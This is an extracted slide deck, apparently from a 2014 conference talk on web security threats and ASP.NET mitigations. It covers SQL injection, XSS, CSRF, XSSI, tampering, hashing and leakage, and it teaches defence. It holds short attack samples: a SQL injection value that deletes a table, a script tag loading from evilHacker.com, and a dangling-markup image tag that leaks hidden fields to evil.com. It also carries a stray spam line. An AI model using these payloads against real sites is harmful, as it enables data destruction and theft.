Have you heard the words : "Why would anyone hack me?". Security is a serious problem that is often taken for granted and neglected by the product owners in favour of reliability and availability. In addition there are not many developers that are aware of the threats and the long-term harms that a simple attack could do. This session covers the most common web security threats on Web applications like XSS, XSRF, XSI, tampering, leakage, SQL injection and suggests mitigation solutions and coding guidelines.
%+27788225528 love spells in Boston Psychic Readings, Attraction spells,Bring...
Web Security Threats and Solutions
1. var title =
“Web Security Threats and Solutions”;
var info = {
name: “Ivelin Andreev”,
otherOptional: “Security is not for granted”
Sofia
NovN 2o3v ,2 23,0 210414
};
2. Nov 23, 2014
About me
• Project Manager @
o 12 years professional experience
o .NET Web Development MCPD
o SQL Server 2012 (MCSA)
• Business Interests
o Web Development, SOA, Integration
o Security & Performance Optimization
o Horizon2020, Open BIM, GIS, Mapping
• Contact me
o ivelin.andreev@icb.bg
o www.linkedin.com/in/ivelin
o www.slideshare.net/ivoandreev
3. Nov 23, 2014
Web Security is Important
Common misconceptions
• I am using ASP.NET ?!?!
• I am too small to be noticed by crackers
• I am too busy for security, my brand is important
• I am not operating in the financial industry
• Security seal means nothing for customers
• Hosting provider does not matter
4. Nov 23, 2014
agenda();
• SQL Injection
• Cross-Site Scripting (CSS)
• Cross-Site Request Forgery (CSRF)
• Cross-Site Script Inclusion (CSSI)
• Parameter Tampering
• Information Leakage
• Distributed Denial of Service
• Demo
5. SQL injection is so old...
Nov 23, 2014
Don’t developers know any better?
6. Nov 23, 2014
SQL Injection
Def: Commands or logic inserted in SQL data channel
• Common Reasons
o Dynamic query statements and string operations
o Poor programming
• Impact
o Leak or loss of data
o Authentication and authorization
• Impact (you many have not considered)
o Damages limited only by the SQL account permissions
o Windows authentication user rights can be exploited
o Modify server security configuration
o Install backdoors
8. Nov 23, 2014
(Pseudo) Solutions
• Replace special symbols (-, “, ‘)
o Data with special symbols not searchable
o Poor routines can create vulnerable query (i.e. –’–)
• Smuggling
o Looks like a quote but not a quote - conversion on DB level
o OWASP_IL_2007_SQL_Smuggling.pdf
• NOSQL is not vulnerable
o NOSQL is also vulnerable (i.e. MongoDB with JavaScript)
• Second order attacks
o Validate request only
o Data stored in the DB and later used in prepared queries
9. Using Parameters (in wrong manner)
Nov 23, 2014
• Dynamic queries (sp_executesql vs. EXEC)
o exec (@sqlString) – executes T-SQL string
o sp_executesql allows for statements to be parameterized
o sp_executesql is more secure in terms of SQL injection
• Developer believes dynamic SQL is the only option
CREATE PROCEDURE GetUsers @Sort nvarchar(50) AS
DECLARE @sql nvarchar(255)
SET @sql = 'SELECT UserName FROM Users ' + @Sort
EXECUTE sp_executesql @sql
GO
o What if @Sort = ‘‘; DELETE FROM Users’
CREATE PROCEDURE GetUsers @Sort Int AS
SELECT UserName FROM Users ORDER BY
CASE WHEN @Sort = 1 THEN ( Rank() OVER (ORDER BY UserName ASC) ) END
GO
10. Nov 23, 2014
Prevention & Mitigation
• Parameterized queries and prepared statements
o Use parameters where data are expected
o ORMs use parameters (Nhibernate, Entity Framework)
• “The least privilege” principle
o Grant the minimum access rights
o Parameterized queries vs. Stored Procedure permissions
• Positive input validation (Poor)
o Regular expressions / White lists (i.e. alphanumeric)
• IIS Request Query Filtering (Poor)
o filtering-for-sql-injection-on-iis-7-and-later
• SQL injection and DB takeover
o http://ha.ckers.org/sqlinjection/
o (SQL) http://sqlmap.org/; (NOSQL) http://www.nosqlmap.net/
11. SQL Injection with Entity Framework
Nov 23, 2014
• Entity Framework Raw Queries
string query = “query” + “SQL injection code”
dbContext.Database.SqlQuery<string>(query).ToList();
o Security Considerations (Entity Framework)
• IQueryable
o Can result in untrusted calls
o If provided as a library, can be casted to Context and connection
var orders = repository.GetOrders(5);
var context = ((ObjectQuery)orders).Context
o Use IEnumerable instead
13. Nov 23, 2014
Cross Site Scripting (XSS)
Def: Untrusted content displayed on page unencoded
• Case
o evilHacker injects <script> in http://goodSite.com application context
• By posting HTML form field
• By tricking user to click link with query parameters sent by mail
%3Cscript%20src%3D%27evilHacker.com%2Fscript.js%27%3E
• XSS Source
o Query parameters, HTML form fields
o HTML Attributes (onload, onblur)
o URI requested and displayed in HTTP 404 page
o Data from DB or file system
o 3rd party data - RSS feeds or service
14. Nov 23, 2014
XSS – an Underestimated Threat
• Create or access any DOM element
• Hijack cookies, credentials or actions
• Take control over victim machine
Browser Exploitation Framework Project
o Open source penetration testing tool
o XSS vulnerability allows injection of BeEF
o Victim browser is hooked
o Perform actions/attacks on behalf of the victim
o Exploit system in browser context
15. Nov 23, 2014
Persisted XSS
• Attacker stores malicious data on server
• Unvalidated data displayed on page w/o encoding
• Store once – run many
16. Nov 23, 2014
Reflected XSS
• Malicious client data is immediately used by server
• Unvalidated data displayed on page w/o encoding
• Requires social engineering
o Convince users to follow a URL (via e-mail or forum comment)
• Detection Tools
o OWASP Xenotix XSS Exploit Framework
o XSS-ME FireFox plugin
17. Nov 23, 2014
Client XSS & HTML Injection
• DOM-based XSS
o Malicious data executed as a part of DOM manipulation
o Requires social engineering
document.write(“
<OPTION value=1>"+document.location.href.substring(…) + ”</OPTION>");
• Dangling Markup HTML injection
o Image source w/o closing tag
o On load of image – a request is made to attacker’s site
<img src='http://evil.com/log.cgi? ← Injected line with a non-terminated parameter
...
<input type="hidden" name=“SecretField" value="12345">
...
'← Normally-occurring apostrophe somewhere in page text
o HTML leaks to evil site
19. Nov 23, 2014
XSS Prevention & Mitigation
• HTML escape then JavaScript escape
• Encode on usage, not appearance
o HttpUtility.HtmlEncode(string)
o HttpUtility.JavaScriptStringEncode(string)
o Microsoft Anti-Cross Site Scripting Library
• Use proven sanitizers
o Blacklist vs. Whitelist
o Valid JavaScript can be created by poor filtering routine
<SscriptCscriptRscriptIscriptPscriptTscript>…
• Check 3rd party resources (i.e. jQuery plugins)
• Analyze places where DOM elements are created
o Use document.createElement() rather than $(obj).html()
20. Built-In XSS Prevention Features (.NET)
Nov 23, 2014
• Request Validation
o ASP .NET Web Forms: @Page EnableRequestValidation=“true”
o ASP .NET MVC: Controller.ValidateRequest=true;
o <httpRuntime requestValidationMode=“4.0" />
• Do not turn off request validation
o “Easy fix” for HTML editors
o Use HTML editors that HTML encode before submission
• Reliability
o Microsoft advice: Relying solely on built-in request validation is not enough
o No known vulnerabilities now (but not in the past)
• AntiXss.HtmlEncode() vs. HttpUtility.HtmlEncode()
o HttpUtility just ensures output does not break HTML
o Performance penalty is +0.1 ms/transaction
21. Nov 23, 2014
Content Security Policy
• HTTP Header
o Content-Security-Policy: script-src ‘self’
• Features
o Whitelist sources of trusted content
o Blocks resources from untrusted locations (incl. inline scripts)
o Report of blocked resources
• Directives
o script-src; img-src; media-src; style-src; frame-src; connect-src
• Keywords
o 'none‘, 'self‘, 'unsafe-inline‘, 'unsafe-eval‘
• Browser support
o CanIUse.com CSP?
23. Cross-Site Request Forgery (CSRF)
• POST new password in form to GoodSite.com
• GET http://goodSite.com/Payment.aspx?amount=1000&userID=EvilHacker
Nov 23, 2014
Def: Unauthorised commands transmitted from a user
whom a website trusts
• Synonyms: One-click attack, Session riding
• Case
o User logs in http://goodSite.com as usual
o http://evilHacker.com can
o Authenticated because cookies are sent
• Impact
o EvilHacker.com cannot read DOM but can POST / GET
o Act on behalf of the user (i.e. payment)
o User access is blocked or stolen
24. Cross Site Scripting Inclusion (XSSI)
Nov 23, 2014
• Case
o Exploits <script> element exception to Same Origin Policy
o http://goodSite.com includes own <script> for AJAX request
o http://evilHacker.com includes the same script
• Authenticated because cookies are sent
o Server returns JSON wrapped in function call
<script type="application/javascript" src=
"http://goodSite.com/Svc/Get?callback=parseResponse" />
o SCRIPT evaluated in evilHacker.com context and JSON is stolen
parseResponse ({“this”:”is”,”json”:”data”});
• Impact
o User data are stolen
• Prevention
o Check policy of script inclusion
25. Nov 23, 2014
CSRF Prevention & Mitigation
• NONCE token (URL, hidden field)
o Checked upon submission
o Protected by browser same origin policy
• User defined (password, CAPTCHA)
• Built-In (ASP.NET)
Page.ViewStateUserKey=Session.SessionID
o Signs the ViewState with unique user key
• Built-In (ASP.NET MVC)
o HtmlHelper.AntiForgeryToken() - generates a hidden form field
o [ValidateAntiForgeryToken] attribute for controller validation
o NOT a single-use token
• POST(HTTP) makes attacks harder
o Cross domain POSTs can be limited (CORS)
27. Nov 23, 2014
Parameter Tampering
Def: Parameters changed in unintended way
Common reasons
• Query string; Hidden form fields;
• Data-channel interception (M-i-t-M attack)
Common Mistakes
• Client side validation only
• Mismatch with predefined set of values
• Not validated access to entities on server (i.e. EntityId=???)
• Unprotected data sent to client
o Query strings; JavaScript parameters
28. Tampering Prevention & Mitigation
Nov 23, 2014
• Built-In (ASP.NET MVC) - None
• Built-In (ASP.NET)
• ViewState
o Not encrypted by default (Binary serialized, Base64 Encoded)
o Do not turn EnableViewstateMac off (Web Farm, X-domain POST)
• Event Validation
o “Invalid postback or callback argument…”
o Not encrypted (Binary serialized, Base64 Encoded)
o Do not turn event validation off
o Register for event validation
protected override void Render(HtmlTextWriter writer) {
…
Page.ClientScript.RegisterForEventValidation(ddl.UniqueID, “John”); }
30. Nov 23, 2014
Encryption
• Protects sensitive data (if stolen)
o Credentials; Auth tokens; Configuration;
• SQL data encryption
o EncryptByPassPhrase
o EncryptByCert
o EncryptByKey
• Application level
o AesCryptoService, RijndaelManaged
o TripleDESCryptoServiceProvider
• Connection string encryption
o Machine specific encryption after deploy
aspnet_regiis –pe “connectionstrings” –app /[appname]
o Decryption done automatically
31. Nov 23, 2014
Hashing
• Irreversible function (MD5, SHA1, SHA256)
o MD5 generator: http://www.md5.cz/
o Smaller than the data
• Collisions allowed
• Usage
o Assure information was not changed (tampered)
o Protect passwords
• Compromising
o Good algorithm is always compromised by weak passwords
o Brute force (GPU)
o Precalculated “Rainbow tables” (Dictionary attack)
• http://www.hashkiller.co.uk/md5-decrypter.aspx
32. Nov 23, 2014
Protecting Hashes
• Random Salt
o [SecretText][Salt] -> [Hash]
o Changes hash value
o Invalidates rainbow tables
o Slows down brute force attacks
• Complex passwords
• Slow algorithms
• Key stretching (Rfc2898DeriveBytes class)
U1 = PRF(Password, Salt)
U2 = PRF(Password, U1)
...
Uc = PRF(Password, Uc-1)
• Outsource sensitive data storage (if possible)
33. Nov 23, 2014
Information Leakage
• Loss of sensitive data
o Display trace and log information
o Display raw error messages
o Google it: inurl: elmah.axd aspxauth
o Attacker can profile application and select appropriate attack
• Mitigation
o Custom error pages <CustomErrors mode=“on” defaultRedirect=“Error.aspx”>
o Turn off tracing
• Retail mode <deployment retail=“true”/>
o Set in machine.config for the whole server
o Sets Custom Errors = “on”, Debug = “false”
o Trace information is not displayed
• Test
35. Nov 23, 2014
SSL / TLS
• HTTP over SSL prevents packet sniffing
• Force SSL for the entire site
o Or at least for credentials interchange
• ASP.NET MVC: RequireHttpsAttribute
o Redirects Request to HTTPS scheme
• ASP.NET Web Forms
o Requires custom code
o https://code.google.com/p/securityswitch/
<securitySwitch mode="RemoteOnly">
<paths>
<add path="~/Login.aspx" />
</paths>
</securitySwitch>
37. Nov 23, 2014
Denial of Service Attack
DDoS
• Anonymous?!
o LOIC (Hive mode)
o TOR Anonymity Project
• Hash DoS (since 2003)
o POST params in hash table (with collisions)
o Too many hashes = 100% CPU
o Patch: Block POST of >1000 form fields
Prevention & Mitigation
• Dynamic IP restrictions IIS extension
o http://www.iis.net/downloads/microsoft/dynamic-ip-restrictions
• Good logging and diagnostics is essential
39. Nov 23, 2014
Takeaways
• Guidelines & Code Labs
o Open Web Application Security Project www.owasp.org
o Web App Exploits and Defenses google-gruyere
o 2013 Top 10 Web Security Vulnerabilities Top_10_2013
o 2011 Top 25 Most Dangerous Software Errors cwe.mitre.org/top25
• Articles
o Hack-proofing ASP.NET Web Applications Adam Tuliper
o Hash DDoS Hash-Dos-Attack
• .NET Source Code referencesource.microsoft.com
• Tools
o ASafaWeb Analyser asafaweb.com
o Website and Web Server Security Testing www.beyondsecurity.com
40. Nov 23, 2014
Upcoming events
ISTA Conference 26-27 November
http://istabg.org/
Stay tuned for 2015:
Azure Bootcamp http://azure-camp.eu/
UXify Bulgaria http://uxify.org/
SQLSaturday https://www.sqlsaturday.com/
and more js.next();
41. Nov 23, 2014
Thanks to our Sponsors:
Diamond Sponsor:
Hosting partner:
Gold Sponsors:
Silver Sponsors:
Technological Partners:
Swag Sponsors:
Media Partners: